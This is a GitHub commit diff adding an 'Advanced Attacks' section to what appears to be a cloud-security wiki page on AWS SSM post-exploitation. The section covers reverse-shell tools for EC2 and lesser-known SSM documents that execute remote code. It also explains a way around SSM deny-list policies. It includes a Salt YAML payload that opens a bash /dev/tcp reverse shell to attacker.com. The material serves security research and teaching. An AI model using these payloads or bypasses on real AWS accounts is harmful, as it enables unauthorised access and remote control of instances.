You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The output of the command will be in the `Output` section under `CommandPlugins`.
52
52
53
+
### Advanced Attacks
54
+
55
+
Section author: Eduard Agavriloae
56
+
57
+
<divclass="grid cards"markdown>
58
+
59
+
- :material-tools:{ .lg .middle } __Tools mentioned in this article__
60
+
61
+
---
62
+
63
+
[EC2StepShell](https://github.com/saw-your-packet/EC2StepShell): EC2StepShell is an AWS post-exploitation tool for getting high privileges reverse shells in public or private EC2 instances.
64
+
65
+
[fun-with-ssm](https://github.com/saw-your-packet/fun-with-ssm): Resources for AWS post-exploitation scenarios where you have the permission ssm:SendCommand, but you can't use the AWS-RunPowerShellScript or AWS-RunShellScript documents.
66
+
67
+
</div>
68
+
69
+
#### Upgrade to a shell
70
+
71
+
If you don't have the ssm:StartSession permission, but you still want something close to a reverse shell, then you can use EC2StepShell.
72
+
73
+
!!! Tip
74
+
EC2StepShell works on both Windows-UNIX and public-private instances. The tool automatically detect the OS and uses the permissions "ssm:SendCommand" for sending commands and either "ssm:GetCommandInvocation" or "ssm:ListCommandInvocations" for retrieving the output.
75
+
76
+
The tool is just a wrapper over SSM SendCommand, but it makes command execution simpler and it helps in showing impact.
Most techniques and tools are using the SSM Documents AWS-RunShellScript and AWS-RunPowerShellScript for executing system commands. In some cases this might be either blocked or heavily monitored. Similarly, execution of SSM Documents owned by other AWS accounts might have the same restrictions.
There are 7 other SSM Documents that can be used for executing system commands on EC2 instances as first documented in the blog post [7 Lesser-Known AWS SSM Document Techniques for Code Execution](https://securitycafe.ro/2023/04/19/7-lesser-known-aws-ssm-document-techniques-for-code-execution/).
88
+
89
+
##### AWS-RunSaltState
90
+
91
+
This document will download from a remote location a Salt state file and interpret it. Salt state files are part of SaltStack, a technology for infrastructure management. The file format is YAML and the AWS-RunSaltState document can download it from S3 Buckets or HTTP(S) servers.
92
+
93
+
The payload for running arbitrary code will use “cmd.run”, as exemplified below where we have a payload for getting a reverse shell.
94
+
95
+
```yaml
96
+
mycommand:
97
+
cmd.run:
98
+
- name: 0<&196;exec 196<>/dev/tcp/attacker.com/1337; sh <&196 >&196 2>&196
99
+
```
100
+
101
+
The downside is that Salt Stack needs to be installed on the target system and that’s not the case by default.
102
+
103
+
For this document, as well as for the rest of them, we can create parameterized payloads. Meaning that we will use a single generic payload and pass the host and port as parameters.
It downloads from remote locations PS modules and installs them. It only supports HTTP(S) servers.
175
+
176
+
The way the document is build, it allows you to execute an arbitrary command after the module was installed. Because of this, the PS module doesn’t need to be malicious.
It downloads from remote locations MSI files and installs them. It only supports HTTP(S) servers. You can pass arguments to the MSI installation if want to. You need to be aware of AV at this point if the file is malicious.
It downloads from remote locations scripts and executes them. It supports S3 Buckets and GitHub repositories. It works for both UNIX and Windows machines.
Last, but not least, AWS-RunDocument. This is a special one. It downloads and executes other SSM Documents. Let’s take a moment to understand this better.
213
+
214
+
So, let’s say the cloud engineer extended the deny list from the initial policy and blocked all the other SSM Documents presented above.
Well, if AWS-RunDocument is not blocked then the policy is useless. You can copy the content of, let’s say, AWS-RunShellScript document, store it on your server and use AWS-RunDocument to execute a replica of the AWS-RunShellScript document, which will result in the exact outcome as if you would have used AWS-RunShellScript directly.
219
+
220
+
It can downloads documents from GitHub repositories, S3 Buckets, HTTP(S) servers, but also can get a document as parameter from CLI. Same as for the other documents, you can create parameterized payloads that can be reused. It offers infinite possibilities in terms of what can you do.
221
+
222
+
Here is an example of malicious SSM Document that will generate a reverse shell through python (I don’t know why, but the Bash TCP payload doesn’t work with AWS-RunDocument).
The parameter of interest is documentParameters which allow us to pass our host and port to the document. Cool, right?
266
+
267
+
As an extension of this research, I started making malicious SSM documents. You can check them here: https://github.com/saw-your-packet/fun-with-ssm/tree/main/AWS-RunDocument
268
+
269
+
More details about the advanced usage of SSM Run Command can be found in my talk: [The C2 tool no one talks about: AWS SSM – Run Command at DefCamp 2023](https://www.youtube.com/watch?v=SKXzwDy4vkw)
0 commit comments